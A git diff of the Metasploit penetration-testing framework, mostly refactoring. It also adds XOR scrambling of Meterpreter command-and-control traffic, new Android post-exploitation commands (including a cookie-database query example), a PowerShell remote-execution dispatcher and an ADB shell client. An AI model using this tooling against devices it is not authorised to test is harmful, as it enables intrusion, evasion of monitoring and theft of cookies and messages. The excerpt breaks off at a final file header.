a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb @@ -29,11 +29,12 @@ class RemoteRegistryKey self.target_host = target_host self.hkey = hkey - ObjectSpace.define_finalizer( self, self.class.finalize(self.client, self.hkey) ) + # Ensure the remote object is closed when all references are removed + ObjectSpace.define_finalizer(self, self.class.finalize(client, hkey)) end - def self.finalize(client,hkey) - proc { self.close(client,hkey) } + def self.finalize(client, hkey) + proc { self.close(client, hkey) } end ## @@ -113,8 +114,12 @@ class RemoteRegistryKey end # Instance method for the same - def close() - self.class.close(self.client, self.hkey) + def close + unless self.hkey.nil? + ObjectSpace.undefine_finalizer(self) + self.class.close(self.client, self.hkey) + self.hkey = nil + end end ## diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb index 43481cdc8f..4469a1e633 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb @@ -34,7 +34,9 @@ class Thread < Rex::Post::Thread self.process = process self.handle = handle self.tid = tid - ObjectSpace.define_finalizer( self, self.class.finalize(self.process.client, self.handle) ) + + # Ensure the remote object is closed when all references are removed + ObjectSpace.define_finalizer(self, self.class.finalize(process.client, handle)) end def self.finalize(client,handle) @@ -168,7 +170,11 @@ class Thread < Rex::Post::Thread # Instance method def close - self.class.close(self.process.client, self.handle) + unless self.handle.nil? + ObjectSpace.undefine_finalizer(self) + self.class.close(self.process.client, self.handle) + self.handle = nil + end end attr_reader :process, :handle, :tid # :nodoc: diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 0dcb281df7..3736e8faa6 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -66,7 +66,7 @@ class Webcam remote_browser_path = webrtc_browser_path - if remote_browser_path.blank? + if remote_browser_path.to_s.strip.empty? fail "Unable to find a suitable browser on the target machine" end diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 459fb2d4bb..372324381f 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -665,6 +665,44 @@ class Packet < GroupTlv end end + # + # Override the function that creates the raw byte stream for + # sending so that it generates an XOR key, uses it to scramble + # the serialized TLV content, and then returns the key plus the + # scrambled data as the payload. + # + def to_r + raw = super + xor_key = rand(254) + 1 + xor_key |= (rand(254) + 1) << 8 + xor_key |= (rand(254) + 1) << 16 + xor_key |= (rand(254) + 1) << 24 + result = [xor_key].pack('N') + xor_bytes(xor_key, raw) + result + end + + # + # Override the function that reads from a raw byte stream so + # that the XORing of data is included in the process prior to + # passing it on to the default functionality that can parse + # the TLV values. + # + def from_r(bytes) + xor_key = bytes[0,4].unpack('N')[0] + super(xor_bytes(xor_key, bytes[4, bytes.length])) + end + + # + # Xor a set of bytes with a given DWORD xor key. + # + def xor_bytes(xor_key, bytes) + result = '' + bytes.bytes.zip([xor_key].pack('V').bytes.cycle).each do |b| + result << (b[0].ord ^ b[1].ord).chr + end + result + end + ## # # Conditionals diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index db5681c8ce..dd604496a4 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -117,8 +117,7 @@ module PacketDispatcher self.last_checkin = Time.now - # If the first 4 bytes are "RECV", return the oldest packet from the outbound queue - if req.body[0,4] == "RECV" + if req.method == 'GET' rpkt = send_queue.shift resp.body = rpkt || '' begin @@ -176,6 +175,7 @@ module PacketDispatcher end end + if bytes.to_i == 0 # Mark the session itself as dead self.alive = false diff --git a/lib/rex/post/meterpreter/packet_parser.rb b/lib/rex/post/meterpreter/packet_parser.rb index 8aebe3de39..c4c93d6b37 100644 --- a/lib/rex/post/meterpreter/packet_parser.rb +++ b/lib/rex/post/meterpreter/packet_parser.rb @@ -12,6 +12,11 @@ module Meterpreter ### class PacketParser + # 4 byte xor + # 4 byte length + # 4 byte type + HEADER_SIZE = 12 + # # Initializes the packet parser context with an optional cipher. # @@ -26,7 +31,7 @@ class PacketParser # def reset self.raw = '' - self.hdr_length_left = 8 + self.hdr_length_left = HEADER_SIZE self.payload_length_left = 0 end @@ -34,6 +39,9 @@ class PacketParser # Reads data from the wire and parse as much of the packet as possible. # def recv(sock) + # Create a typeless packet + packet = Packet.new(0) + if (self.hdr_length_left > 0) buf = sock.read(self.hdr_length_left) @@ -49,7 +57,10 @@ class PacketParser # payload length left to the number of bytes # specified in the length if (self.hdr_length_left == 0) - self.payload_length_left = raw.unpack("N")[0] - 8 + xor_key = raw[0, 4].unpack('N')[0] + length_bytes = packet.xor_bytes(xor_key, raw[4, 4]) + # header size doesn't include the xor key, which is always tacked on the front + self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4) end elsif (self.payload_length_left > 0) buf = sock.read(self.payload_length_left) @@ -67,14 +78,11 @@ class PacketParser if ((self.hdr_length_left == 0) && (self.payload_length_left == 0)) - # Create a typeless packet - packet = Packet.new(0) - # TODO: cipher decryption if (cipher) end - # Serialize the packet from the raw buffer + # Deserialize the packet from the raw buffer packet.from_r(self.raw) # Reset our state diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index 8030c3329c..c3d0f48aa9 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -29,7 +29,10 @@ class Console::CommandDispatcher::Android 'device_shutdown' => 'Shutdown device', 'send_sms' => 'Sends SMS from target session', 'wlan_geolocate' => 'Get current lat-long using WLAN information', - 'interval_collect' => 'Manage interval collection capabilities' + 'interval_collect' => 'Manage interval collection capabilities', + 'activity_start' => 'Start an Android activity from a Uri string', + 'sqlite_query' => 'Query a SQLite database from storage', + 'set_audio_mode' => 'Set Ringer Mode' } reqs = { @@ -41,7 +44,10 @@ class Console::CommandDispatcher::Android 'device_shutdown' => ['device_shutdown'], 'send_sms' => ['send_sms'], 'wlan_geolocate' => ['wlan_geolocate'], - 'interval_collect' => ['interval_collect'] + 'interval_collect' => ['interval_collect'], + 'activity_start' => ['activity_start'], + 'sqlite_query' => ['sqlite_query'], + 'set_audio_mode' => ['set_audio_mode'] } # Ensure any requirements of the command are met @@ -151,11 +157,41 @@ class Console::CommandDispatcher::Android end end + def cmd_set_audio_mode(*args) + help = false + mode = 1 + set_audio_mode_opts = Rex::Parser::Arguments.new( + '-h' => [ false, "Help Banner" ], + '-m' => [ true, "Set Mode - (0 - Off, 1 - Normal, 2 - Max) (Default: '#{mode}')"] + ) + + set_audio_mode_opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + help = true + when '-m' + mode = val.to_i + else + help = true + end + end + + if help || mode < 0 || mode > 2 + print_line('Usage: set_audio_mode [options]') + print_line('Set Ringer mode.') + print_line(set_audio_mode_opts.usage) + return + end + + client.android.set_audio_mode(mode) + print_status("Ringer mode was changed to #{mode}!") + end + def cmd_dump_sms(*args) path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt" dump_sms_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-o' => [ false, 'Output path for sms list'] + '-o' => [ true, 'Output path for sms list'] ) dump_sms_opts.parse(args) do |opt, _idx, val| @@ -243,7 +279,7 @@ class Console::CommandDispatcher::Android dump_contacts_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-o' => [ false, 'Output path for contacts list'] + '-o' => [ true, 'Output path for contacts list'] ) dump_contacts_opts.parse(args) do |opt, _idx, val| @@ -347,7 +383,7 @@ class Console::CommandDispatcher::Android dump_calllog_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], - '-o' => [ false, 'Output path for call log'] + '-o' => [ true, 'Output path for call log'] ) @@ -457,7 +493,7 @@ class Console::CommandDispatcher::Android end end - if dest.blank? || body.blank? + if dest.to_s.empty? || body.to_s.empty? print_error("You must enter both a destination address -d and the SMS text body -t") print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."') print_line(send_sms_opts.usage) @@ -509,7 +545,7 @@ class Console::CommandDispatcher::Android wlan_list << [mac, ssid, ss.to_s] end - if wlan_list.blank? + if wlan_list.to_s.empty? print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") return end @@ -528,6 +564,71 @@ class Console::CommandDispatcher::Android end end + def cmd_activity_start(*args) + if (args.length < 1) + print_line("Usage: activity_start \n") + print_line("Start an Android activity from a uri") + return + end + + uri = args[0] + result = client.android.activity_start(uri) + if result.nil? + print_status("Intent started") + else + print_error("Error: #{result}") + end + end + + def cmd_sqlite_query(*args) + sqlite_query_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'The sqlite database file'], + '-q' => [ true, 'The sqlite statement to execute'], + '-w' => [ false, 'Open the database in writable mode (for INSERT/UPDATE statements)'] + ) + + writeable = false + database = '' + query = '' + sqlite_query_opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: sqlite_query -d -q \n") + print_line(sqlite_query_opts.usage) + return + when '-d' + database = val + when '-q' + query = val + when '-w' + writeable = true + end + end + + if database.blank? || query.blank? + print_error("You must enter both a database files and a query") + print_error("e.g. sqlite_query -d /data/data/com.android.browser/databases/webviewCookiesChromium.db -q 'SELECT * from cookies'") + print_line(sqlite_query_opts.usage) + return + end + + result = client.android.sqlite_query(database, query, writeable) + unless writeable + header = "#{query} on database file #{database}" + table = Rex::Ui::Text::Table.new( + 'Header' => header, + 'Columns' => result[:columns], + 'Indent' => 0 + ) + result[:rows].each do |e| + table << e + end + print_line + print_line(table.to_s) + end + end + # # Name for this dispatcher # diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index bd390e0685..7163d40674 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -866,7 +866,7 @@ class Console::CommandDispatcher::Core end pid = val.to_i when '-N' - if val.blank? + if val.to_s.empty? print_error("No process name provided") return end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb new file mode 100644 index 0000000000..485799f5f6 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/powershell.rb @@ -0,0 +1,113 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# Powershell extension - interact with a Powershell interpreter +# +### +class Console::CommandDispatcher::Powershell + + Klass = Console::CommandDispatcher::Powershell + + include Console::CommandDispatcher + + # + # Name for this dispatcher + # + def name + 'Powershell' + end + + # + # List of supported commands. + # + def commands + { + 'powershell_shell' => 'Create an interactive Powershell prompt', + 'powershell_execute' => 'Execute a Powershell command string' + } + end + + @@powershell_shell_opts = Rex::Parser::Arguments.new( + '-s' => [true, 'Specify the id/name of the Powershell session to interact with.'], + '-h' => [false, 'Help banner'] + ) + + def powershell_shell_usage + print_line('Usage: powershell_shell [-s session-id]') + print_line + print_line('Creates an interactive Powershell prompt.') + print_line(@@powershell_shell_opts.usage) + end + + # + # Create an interactive powershell prompts + # + def cmd_powershell_shell(*args) + if args.include?('-h') + powershell_shell_usage + return false + end + + opts = {} + + @@powershell_shell_opts.parse(args) { |opt, idx, val| + case opt + when '-s' + opts[:session_id] = val + end + } + + channel = client.powershell.shell(opts) + shell.interact_with_channel(channel) + end + + @@powershell_execute_opts = Rex::Parser::Arguments.new( + '-s' => [true, 'Specify the id/name of the Powershell session to run the command in.'], + '-h' => [false, 'Help banner'] + ) + + def powershell_execute_usage + print_line('Usage: powershell_execute [-s session-id]') + print_line + print_line('Runs the given Powershell string on the target.') + print_line(@@powershell_execute_opts.usage) + end + + # + # Execute a simple Powershell command string + # + def cmd_powershell_execute(*args) + if args.length == 0 || args.include?('-h') + powershell_execute_usage + return false + end + + opts = { + code: args.shift + } + + @@powershell_execute_opts.parse(args) { |opt, idx, val| + case opt + when '-s' + opts[:session_id] = val + end + } + + result = client.powershell.execute_string(opts) + print_good("Command execution completed:\n#{result}") + end + +end + +end +end +end +end + diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index e142bc6275..e1c3158f84 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -52,6 +52,7 @@ class Console::CommandDispatcher::Stdapi::Fs 'cat' => 'Read the contents of a file to the screen', 'cd' => 'Change directory', 'del' => 'Delete the specified file', + 'dir' => 'List files (alias for ls)', 'download' => 'Download a file or directory', 'edit' => 'Edit a file', 'getlwd' => 'Print local working directory', @@ -73,6 +74,7 @@ class Console::CommandDispatcher::Stdapi::Fs 'cat' => [], 'cd' => ['stdapi_fs_chdir'], 'del' => ['stdapi_fs_rm'], + 'dir' => ['stdapi_fs_stat', 'stdapi_fs_ls'], 'download' => [], 'edit' => [], 'getlwd' => [], @@ -598,6 +600,12 @@ class Console::CommandDispatcher::Stdapi::Fs return true end + # + # Alias the ls command to dir, for those of us who have windows muscle-memory + # + alias cmd_dir cmd_ls + + # # Make one or more directory. # diff --git a/lib/rex/proto/adb.rb b/lib/rex/proto/adb.rb new file mode 100644 index 0000000000..48295f85f3 --- /dev/null +++ b/lib/rex/proto/adb.rb @@ -0,0 +1,7 @@ +# -*- coding: binary -*- +# +# Support for the ADB android debugging protocol +# + +require 'rex/proto/adb/client' +require 'rex/proto/adb/message' diff --git a/lib/rex/proto/adb/client.rb b/lib/rex/proto/adb/client.rb new file mode 100644 index 0000000000..61a9f7a2a0 --- /dev/null +++ b/lib/rex/proto/adb/client.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- + +## +# ADB protocol support +## + +require 'rex/proto/adb/message' + +module Rex +module Proto +module ADB + +class Client + + def initialize(sock, opts = {}) + @sock = sock + @opts = opts + @local_id_counter = 0x0a + end + + def connect + ADB::Message::Connect.new.send_recv(@sock) + end + + def exec_cmd(cmd) + local_id = @local_id_counter += 1 + response = ADB::Message::Open.new(local_id, "shell:"+cmd).send_recv(@sock) + ADB::Message::Close.new(local_id, response.arg0).send_recv(@sock) + end + + def read_message + ADB::Message.read(@sock) + end + +end # Client + +end # ADB +end # Proto +end # Rex diff --git a/lib/rex/proto/adb/message.rb b/lib/rex/proto/adb/message.rb new file mode 100644 index 0000000000..eece6eac78 --- /dev/null +++ b/lib/rex/proto/adb/message.rb @@ -0,0 +1,164 @@ +# -*- coding: binary -*- + +## +# ADB protocol support +## + +module Rex +module Proto +module ADB + +# A Message for the ADB protocol. For documentation see: +# https://android.googlesource.com/platform/system/core/+/master/adb/protocol.txt +class Message + + WORD_WIDTH = 4 # bytes + WORD_PACK = 'L<' + + attr_accessor :command + attr_accessor :arg0 + attr_accessor :arg1 + attr_accessor :data + + def initialize(arg0, arg1, data) + self.command = self.class::COMMAND if defined?(self.class::COMMAND) + self.arg0 = arg0 + self.arg1 = arg1 + self.data = data + "\0" + end + + def data_check + # this check is implemented in adb/transport.cpp, in the send_packet method. + # it is not crc32 as the docs make it appear, it is just a 32bit sum. + data.bytes.inject(&:+) & 0xffffffff + end + + def magic + command_word ^ 0xffffffff + end + + def command_word + command.unpack(WORD_PACK)[0] + end + + def send_recv(socket) + socket.print self.serialize + Message.read socket + end + + def serialize + [ + command_word, + arg0, + arg1, + data.bytes.length, + data_check, + magic + ].pack(WORD_PACK+'*') + data + end + + def to_s + [ + "command=#{command}", + "arg0=0x#{arg0.to_s(16)}", + "arg1=0x#{arg1.to_s(16)}", + "data=#{data}" + ].join("\n") + end + + def self.read(socket) + header = socket.recvfrom(6 * WORD_WIDTH)[0] + command = header[0, WORD_WIDTH] + arg0 = header[WORD_WIDTH, WORD_WIDTH].unpack(WORD_PACK)[0] + arg1 = header[WORD_WIDTH*2, WORD_WIDTH].unpack(WORD_PACK)[0] + payload_len = header[WORD_WIDTH*3, WORD_WIDTH].unpack(WORD_PACK)[0] + payload = socket.recvfrom(payload_len)[0] + + klass = MESSAGE_TYPES.find { |klass| klass::COMMAND == command } + if klass.nil? + raise "Invalid adb command: #{command}" + end + + message = klass.allocate + message.command = command + message.arg0 = arg0 + message.arg1 = arg1 + message.data = payload + message + end + + # + # Subclasses inside Message:: namespace for specific message types + # + + class Connect < Message + COMMAND = "CNXN" + DEFAULT_VERSION = 0x01000000 + DEFAULT_MAXDATA = 4096 + DEFAULT_IDENTITY = "host::" + + def initialize(version=DEFAULT_VERSION, + maxdata=DEFAULT_MAXDATA, + system_identity_string=DEFAULT_IDENTITY) + super + end + end + + class Auth < Message + COMMAND = "AUTH" + TYPE_TOKEN = 1 + TYPE_SIGNATURE = 2 + + def initialize(type, data) + super(type, 0, data) + end + end + + class Open < Message + COMMAND = "OPEN" + + def initialize(local_id, destination) + super(local_id, 0, destination) + end + end + + class Ready < Message + COMMAND = "OKAY" + + def initialize(local_id, remote_id) + super(local_id, remote_id, "") + end + end + + class Write < Message + COMMAND = "WRTE" + + def initialize(local_id, remote_id, data) + super + end + end + + class Close < Message + COMMAND = "CLSE" + + def initialize(local_id, remote_id) + super(local_id, remote_id, "") + end + end + + class Sync < Message + COMMAND = "SYNC" + + def initialize(online, sequence) + super(online, sequence, "") + end + end + + # Avoid a dependency on Rails's nice Class#subclasses + MESSAGE_TYPES = [Connect, Auth, Open, Ready, Write, Close, Sync] + +end # Message + +end # ADB +end # Proto +end # Rex diff --git a/lib/rex/proto/dcerpc/svcctl/packet.rb b/lib/rex/proto/dcerpc/svcctl/packet.rb index 6d27f6b849..7e65cb86cd 100644 --- a/lib/rex/proto/dcerpc/svcctl/packet.rb +++ b/lib/rex/proto/dcerpc/svcctl/packet.rb @@ -53,7 +53,7 @@ class Client end end rescue Rex::Proto::DCERPC::Exceptions::Fault => e - print_error("#{peer} - Error getting scm handle: #{e}") + print_error("Error getting scm handle: #{e}") end [scm_handle, scm_status] @@ -124,7 +124,7 @@ class Client end end rescue Rex::Proto::DCERPC::Exceptions::Fault => e - print_error("#{peer} - Error creating service: #{e}") + print_error("Error creating service: #{e}") end return svc_handle, svc_status @@ -149,7 +149,7 @@ class Client response = dcerpc_client.call(CHANGE_SERVICE_CONFIG2_W, stubdata) # ChangeServiceConfig2 svc_status = error_code(response) rescue Rex::Proto::DCERPC::Exceptions::Fault => e - print_error("#{peer} - Error changing service description : #{e}") + print_error("Error changing service description : #{e}") end svc_status @@ -169,7 +169,7 @@ class Client svc_status = error_code(response[20,4]) end rescue Rex::Proto::DCERPC::Exceptions::Fault => e - print_error("#{peer} - Error closing service handle: #{e}") + print_error("Error closing service handle: #{e}") end svc_status @@ -195,7 +195,7 @@ class Client end end rescue Rex::Proto::DCERPC::Exceptions::Fault => e - print_error("#{peer} - Error opening service handle: #{e}") + print_error("Error opening service handle: #{e}") end svc_handle @@ -219,7 +219,7 @@ class Client svc_status = error_code(response) end rescue Rex::Proto::DCERPC::Exceptions::Fault => e - print_error("#{peer} - Error starting service: #{e}") + print_error("Error starting service: #{e}") end svc_status @@ -249,7 +249,7 @@ class Client svc_status = error_code(response[28,4]) end rescue Rex::Proto::DCERPC::Exceptions::Fault => e - print_error("#{peer} - Error controlling service: #{e}") + print_error("Error controlling service: #{e}") end svc_status @@ -268,7 +268,7 @@ class Client svc_status = error_code(response) end rescue Rex::Proto::DCERPC::Exceptions::Fault => e - print_error("#{peer} - Error deleting service: #{e}") + print_error("Error deleting service: #{e}") end svc_status @@ -292,7 +292,7 @@ class Client ret = 2 end rescue Rex::Proto::DCERPC::Exceptions::Fault => e - print_error("#{peer} - Error deleting service: #{e}") + print_error("Error deleting service: #{e}") end ret diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index a048138269..f47229a0bb 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -391,8 +391,9 @@ class ClientRequest # # Return the content length header + # def set_content_len_header(clen) - return "" if opts['chunked_size'] > 0 + return "" if clen == 0 || opts['chunked_size'] > 0 || (opts['headers'] && opts['headers']['Content-Length']) set_formatted_header("Content-Length", clen) end diff --git a/lib/rex/proto/kademlia/bootstrap_response.rb b/lib/rex/proto/kademlia/bootstrap_response.rb index b985ba51a7..f9e0b7bece 100644 --- a/lib/rex/proto/kademlia/bootstrap_response.rb +++ b/lib/rex/proto/kademlia/bootstrap_response.rb @@ -51,14 +51,14 @@ module Kademlia bootstrap_peer_id = Rex::Proto::Kademlia.decode_peer_id(message.body.slice!(0, 16)) bootstrap_tcp_port, bootstrap_version, num_peers = message.body.slice!(0, 5).unpack('vCv') # protocol says there are no peers and the body confirms this, so just return with no peers - if num_peers == 0 && message.body.blank? + if num_peers == 0 && message.body.to_s.strip.empty? peers = [] else peers_data = message.body # peers data is too long/short, abort return if peers_data.size % BOOTSTRAP_PEER_SIZE != 0 peers = [] - until peers_data.blank? + until peers_data.to_s.strip.empty? peer_data = peers_data.slice!(0, BOOTSTRAP_PEER_SIZE) peer_id = Rex::Proto::Kademlia.decode_peer_id(peer_data.slice!(0, 16)) ip, udp_port, tcp_port, version = peer_data.unpack('VvvC') diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index 6539330307..f37ee3f4c8 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -65,7 +65,7 @@ begin when 'SSL2', :SSLv2 version = :SSLv2 # 'TLS' will be the new name for autonegotation with newer versions of OpenSSL - when 'SSL23', :SSLv23, 'TLS' + when 'SSL23', :SSLv23, 'TLS', 'Auto' version = :SSLv23 when 'SSL3', :SSLv3 version = :SSLv3 @@ -124,6 +124,11 @@ begin # Tie the context to a socket self.sslsock = OpenSSL::SSL::SSLSocket.new(self, self.sslctx) + # If peerhost looks like a hostname, set the undocumented 'hostname' + # attribute on sslsock, which enables the Server Name Indication (SNI) + # extension + self.sslsock.hostname = self.peerhost if !Rex::Socket.dotted_ip?(self.peerhost) + # Force a negotiation timeout begin Timeout.timeout(params.timeout) do diff --git a/lib/rex/zip/blocks.rb b/lib/rex/zip/blocks.rb index 3f0da7ecba..b2a4589710 100644 --- a/lib/rex/zip/blocks.rb +++ b/lib/rex/zip/blocks.rb @@ -116,7 +116,7 @@ class CentralDir end def pack - if @entry.central_dir_name.blank? + if @entry.central_dir_name.to_s.strip.empty? path = @entry.relative_path else path = @entry.central_dir_path diff --git a/lib/rex/zip/entry.rb b/lib/rex/zip/entry.rb index b1c4a352dc..b934d02814 100644 --- a/lib/rex/zip/entry.rb +++ b/lib/rex/zip/entry.rb @@ -76,7 +76,7 @@ class Entry end def central_dir_path - return nil if @central_dir_name.blank? + return nil if @central_dir_name.to_s.strip.empty? get_relative_path(@central_dir_name) end diff --git a/lib/tasks/custom_cucumber.rake b/lib/tasks/custom_cucumber.rake index 3dab9d0697..9b8c3fb8ae 100644 --- a/lib/tasks/custom_cucumber.rake +++ b/lib/tasks/custom_cucumber.rake @@ -12,6 +12,12 @@ begin t.fork = true # You may get faster startup if you set this to false t.profile = 'boot' end + Cucumber::Rake::Task.new({:exploit => 'db:test:prepare'}, 'Run features that should pass') do |t| + t.binary = vendored_cucumber_bin # If nil, the gem's binary is used. + t.fork = true # You may get faster startup if you set this to false + t.profile = 'exploit' + end + end rescue LoadError diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index ca49e3c8e8..752b93bfef 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -55,22 +55,22 @@ Gem::Specification.new do |spec| # Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb) spec.add_runtime_dependency 'bcrypt' # Needed for Javascript obfuscation - spec.add_runtime_dependency 'jsobfu', '~> 0.3.0' + spec.add_runtime_dependency 'jsobfu', '~> 0.4.1' # Needed for some admin modules (scrutinizer_add_user.rb) spec.add_runtime_dependency 'json' # Metasm compiler/decompiler/assembler spec.add_runtime_dependency 'metasm', '~> 1.0.2' # Metasploit::Concern hooks - spec.add_runtime_dependency 'metasploit-concern', '1.0.0' + spec.add_runtime_dependency 'metasploit-concern' # Metasploit::Credential database models - spec.add_runtime_dependency 'metasploit-credential', '1.0.1' + spec.add_runtime_dependency 'metasploit-credential', '1.1.0' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '1.2.10' + spec.add_runtime_dependency 'metasploit_data_models', '1.3.0' # Things that would normally be part of the database model, but which # are needed when there's no database - spec.add_runtime_dependency 'metasploit-model', '1.0.0' + spec.add_runtime_dependency 'metasploit-model', '1.1.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.21' + spec.add_runtime_dependency 'metasploit-payloads', '1.1.5' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. @@ -89,6 +89,11 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'recog', '2.0.14' # required for bitlocker fvek extraction spec.add_runtime_dependency 'openssl-ccm', '1.2.1' + # Needed for documentation generation + spec.add_runtime_dependency 'octokit' + spec.add_runtime_dependency 'redcarpet' + # Needed for Microsoft patch finding tool (msu_finder) + spec.add_runtime_dependency 'patch_finder', '>= 1.0.2' # rb-readline doesn't work with Ruby Installer due to error with Fiddle: # NoMethodError undefined method `dlopen' for Fiddle:Module diff --git a/modules/auxiliary/admin/2wire/xslt_password_reset.rb b/modules/auxiliary/admin/2wire/xslt_password_reset.rb index ee2572bebb..22b3306bdf 100644 --- a/modules/auxiliary/admin/2wire/xslt_password_reset.rb +++ b/modules/auxiliary/admin/2wire/xslt_password_reset.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb index d3aed5b3dc..a240380762 100644 --- a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb +++ b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/appletv/appletv_display_image.rb b/modules/auxiliary/admin/appletv/appletv_display_image.rb index 5b009c7889..7d2a259628 100644 --- a/modules/auxiliary/admin/appletv/appletv_display_image.rb +++ b/modules/auxiliary/admin/appletv/appletv_display_image.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/appletv/appletv_display_video.rb b/modules/auxiliary/admin/appletv/appletv_display_video.rb index ff0370dc4a..c6a2d3d7f8 100644 --- a/modules/auxiliary/admin/appletv/appletv_display_video.rb +++ b/modules/auxiliary/admin/appletv/appletv_display_video.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'uri' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/atg/atg_client.rb b/modules/auxiliary/admin/atg/atg_client.rb index 5560f2f76d..00af98129b 100644 --- a/modules/auxiliary/admin/atg/atg_client.rb +++ b/modules/auxiliary/admin/atg/atg_client.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner @@ -225,9 +225,9 @@ class Metasploit3 < Msf::Auxiliary when 'SET_TANK_NAME' # send the set tank name command to change the tank name(s) if tank_number == 0 - vprint_status("#{peer} -- setting all tank names to #{tank_name}") + vprint_status("Setting all tank names to #{tank_name}") else - vprint_status("#{peer} -- setting tank ##{tank_number}'s name to #{tank_name}") + vprint_status("Setting tank ##{tank_number}'s name to #{tank_name}") end request = "#{action.opts[protocol_opt_name]}#{format('%02d', tank_number)}#{tank_name}\n" sock.put(request) @@ -237,7 +237,7 @@ class Metasploit3 < Msf::Auxiliary # send an inventory probe to show that it succeeded inventory_probe = "#{actions.find { |a| a.name == 'INVENTORY' }.opts[protocol_opt_name]}\n" inventory_response = get_response(inventory_probe) - message = "#{peer} #{protocol} #{action.opts['Description']}:\n#{inventory_response}" + message = "#{protocol} #{action.opts['Description']}:\n#{inventory_response}" if inventory_response.include?(tank_name) print_good message else @@ -245,7 +245,7 @@ class Metasploit3 < Msf::Auxiliary end else response = get_response("#{action.opts[protocol_opt_name]}\n") - print_good("#{peer} #{protocol} #{action.opts['Description']}:\n#{response}") + print_good("#{protocol} #{action.opts['Description']}:\n#{response}") end ensure disconnect diff --git a/modules/auxiliary/admin/backupexec/dump.rb 